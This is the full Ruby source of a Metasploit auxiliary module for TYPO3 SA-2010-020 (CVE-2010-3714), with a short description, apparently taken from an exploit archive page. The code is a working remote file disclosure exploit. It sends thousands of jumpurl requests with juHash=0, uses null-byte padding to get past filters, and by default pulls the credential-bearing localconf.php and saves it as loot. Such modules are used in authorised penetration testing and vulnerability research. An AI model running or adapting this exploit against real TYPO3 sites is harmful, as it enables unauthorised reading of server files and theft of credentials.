Headline
TYPO3 Sa-2010-020 Remote File Disclosure
This Metasploit module exploits a flaw in the way the TYPO3 jumpurl feature matches hashes. Due to this flaw a Remote File Disclosure is possible by matching the juhash of 0. This flaw can be used to read any file that the web server user account has access to view.
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report def initialize super( 'Name' => 'TYPO3 sa-2010-020 Remote File Disclosure', 'Description' => %q{ This module exploits a flaw in the way the TYPO3 jumpurl feature matches hashes. Due to this flaw a Remote File Disclosure is possible by matching the juhash of 0. This flaw can be used to read any file that the web server user account has access to view. }, 'References' => [ ['CVE', '2010-3714'], ['URL', 'http://typo3.org/teams/security/security-bulletins/typo3-sa-2010-020'], ['URL', 'http://gregorkopf.de/slides_berlinsides_2010.pdf'], ], 'Author' => [ 'Chris John Riley', 'Gregor Kopf', # Original Discovery ], 'License' => MSF_LICENSE ) register_options( [ OptString.new('URI', [true, 'TYPO3 Path', '/']), OptString.new('RFILE', [true, 'The remote file to download', 'typo3conf/localconf.php']), OptInt.new('MAX_TRIES', [true, 'Maximum tries', 10000]), ] ) end def run # Add padding to bypass TYPO3 security filters # # Null byte fixed in PHP 5.3.4 # case datastore['RFILE'] when nil # Nothing when /localconf\.php$/i jumpurl = "#{datastore['RFILE']}%00/." when %r{^\.\.(/|\\)}i print_error('Directory traversal detected... you might want to start that with a /.. or \\..') else jumpurl = datastore['RFILE'].to_s end print_status("Establishing a connection to #{rhost}:#{rport}") print_status("Trying to retrieve #{datastore['RFILE']}") location_base = Rex::Text.rand_text_numeric(1) counter = 0 queue = [] print_status('Creating request queue') 1.upto(datastore['MAX_TRIES']) do counter += 1 locationData = "#{location_base}::#{counter}" queue << "#{datastore['URI']}/index.php?jumpurl=#{jumpurl}&juSecure=1&locationData=#{locationData}&juHash=0" if ((counter.to_f / datastore['MAX_TRIES'].to_f) * 100.0).to_s =~ /(25|50|75|100).0$/ # Display percentage complete every 25% percentage = (counter.to_f / datastore['MAX_TRIES'].to_f) * 100 print_status("Queue #{percentage.to_i}% compiled - [#{counter} / #{datastore['MAX_TRIES']}]") end end print_status('Queue compiled. Beginning requests... grab a coffee!') counter = 0 queue.each do |check| counter += 1 check = check.sub('//', '/') # Prevent double // from appearing in uri begin file = send_request_raw({ 'uri' => check, 'method' => 'GET', 'headers' => { 'Connection' => 'Close' } }, 25) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout return rescue ::Timeout::Error, ::Errno::EPIPE => e print_error(e.message) return end if file.nil? print_error('Connection timed out') return end if ((counter.to_f / queue.length.to_f) * 100.0).to_s =~ /\d0.0$/ # Display percentage complete every 10% percentage = (counter.to_f / queue.length.to_f) * 100.0 print_status("Requests #{percentage.to_i}% complete - [#{counter} / #{queue.length}]") end # file can be nil case file.headers['Content-Type'] when 'text/html' case file.body when 'jumpurl Secure: "' + datastore['RFILE'] + '" was not a valid file!' print_error("File #{datastore['RFILE']} does not exist.") return when /jumpurl Secure: locationData/i print_error("File #{datastore['RFILE']} is not accessible.") return when 'jumpurl Secure: The requested file was not allowed to be accessed through jumpUrl (path or file not allowed)!' print_error("File #{datastore['RFILE']} is not allowed to be accessed through jumpUrl.") return end when 'application/octet-stream' addr = Rex::Socket.getaddress(rhost) # Convert rhost to ip for DB print_good('Found matching hash') print_good('Writing local file ' + File.basename(datastore['RFILE'].downcase) + ' to loot') store_loot('typo3_' + File.basename(datastore['RFILE'].downcase), 'text/xml', addr, file.body, 'typo3_' + File.basename(datastore['RFILE'].downcase), 'Typo3_sa_2010_020') return end end print_error("#{rhost}:#{rport} [Typo3-SA-2010-020] Failed to retrieve file #{datastore['RFILE']}") endend